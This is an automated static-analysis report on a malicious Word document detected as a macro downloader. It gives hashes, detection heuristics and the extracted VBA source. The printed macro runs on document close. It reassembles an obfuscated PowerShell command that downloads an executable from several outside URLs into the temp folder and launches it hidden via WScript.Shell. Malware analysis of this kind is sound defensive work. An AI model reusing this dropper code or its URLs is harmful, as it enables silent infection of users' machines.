Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 155e5a759f101c4b…

MALICIOUS

Office (OOXML)

74.9 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-01-11
MD5: 57ff1c3145cb3f51b601e47b46936bd3 SHA-1: be6c610f2b928db36bc29ce877068d56d8d76654 SHA-256: 155e5a759f101c4ba4615bf3e8a1e0b7389616c1f07006a57c464d851470c71d
350 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Powmet-6754309-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powmet-6754309-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    pVVBCiFJjFAyuCdWesRF = "powe" + "rshell $nwSI = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$PxdbKG = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run pVVBCiFJjFAyuCdWesRF + rXZtVXEQYavgvtCviWJy, 0
End Function
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    pVVBCiFJjFAyuCdWesRF = "powe" + "rshell $nwSI = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$PxdbKG = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run pVVBCiFJjFAyuCdWesRF + rXZtVXEQYavgvtCviWJy, 0
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    pVVBCiFJjFAyuCdWesRF = "powe" + "rshell $nwSI = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$PxdbKG = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run pVVBCiFJjFAyuCdWesRF + rXZtVXEQYavgvtCviWJy, 0
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
Dim btqKJnlIiuVdgnN
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1842 bytes
SHA-256: ddd687140ce74bb9bf8bf6be4be28c3304de35fc1dce9e01d468a8d7e2bfb824
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
Dim btqKJnlIiuVdgnN
Dim bowEUbxEVKxfu
Dim iLEPnHnkvJnQoSkxYaRUSZd
bowEUbxEVKxfu = "$FYbUTOSjSQ = 'hnmfLtnmfLtnmfLpnmfL:nmfL/nmfL/nmfLrnmfLonmfLcnmfLknmfLjnmfLonmfLnnmfLanmfLdnmfLdnmfL.nmfLtnmfLonmfLpnmfL/nmfLanmfLdnmfLmnmfLinmfLnnmfL.nmfLpnmfLhnmfLpnmfL?nmfLfnmfL=nmfL1nmfL,nmfLhnmfLtnmfLtnmfLpnmfL:nmfL/nmfL/nmfLtnmfLsnmfLinmfLvnmfLnnmfL.nmfLcnmfLonmfLmnmfL.nmfLvnmfLnnmfL/nmfLsnmfLynmfLsnmfLtnmfLenmfLmnmfL/nmfLlnmfLonmfLgnmfLsnmfL/nmfL.nmfL.nmfL.nmfL/nmfL1nmfL,nmfLhnmfLtnmfLtnmfLpnmfL:nmfL/nmfL/nmfLlnmfLonmfLnnmfLgnmfLvnmfLanmfLnnmfLcnmfLenmfLrnmfLanmfLmnmfLinmfLcnmfLsnmfL.nmfLcnmfLonmfLmnmfL.nmfLvnmfLnnmfL/nmfLinmfLmnmfLanmfLgnmfLenmfL/nmfLfnmfLlnmfLanmfLgnmfLsnmfL/nmfL.nmfL.nmfL.nmfL/nmfL1'  -replace 'nmfL', '';"
btqKJnlIiuVdgnN = "$gjcyZBvw = $FYbUTOSjSQ.Split(',');$BKmPcKk = $PxdbKG.next(1, 65536);$jGCKz = $env:temp + '' + $BKmPcKk + '.exe';for" + "each($AgYEoz in $gjcyZBvw){try{$nwSI.Downl" + "oadFile($AgYEoz.ToString(), $jGCKz);Start-Process $jGCKz;break;}catch{write-host $_.Exception.Message;}}"
iLEPnHnkvJnQoSkxYaRUSZd = bowEUbxEVKxfu + btqKJnlIiuVdgnN
 ocbJqiSUqOfClwEHkfiJ (iLEPnHnkvJnQoSkxYaRUSZd)
End Sub
Function ocbJqiSUqOfClwEHkfiJ(rXZtVXEQYavgvtCviWJy)
Dim pVVBCiFJjFAyuCdWesRF
pVVBCiFJjFAyuCdWesRF = "powe" + "rshell $nwSI = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$PxdbKG = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run pVVBCiFJjFAyuCdWesRF + rXZtVXEQYavgvtCviWJy, 0
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 416f09e3cca1b00c4c3e879e12d5505ccb1c1b4a17d270b916a87e7358257ead
Detection
ClamAV: Doc.Downloader.Powmet-6754309-0
Obfuscation or payload: unlikely

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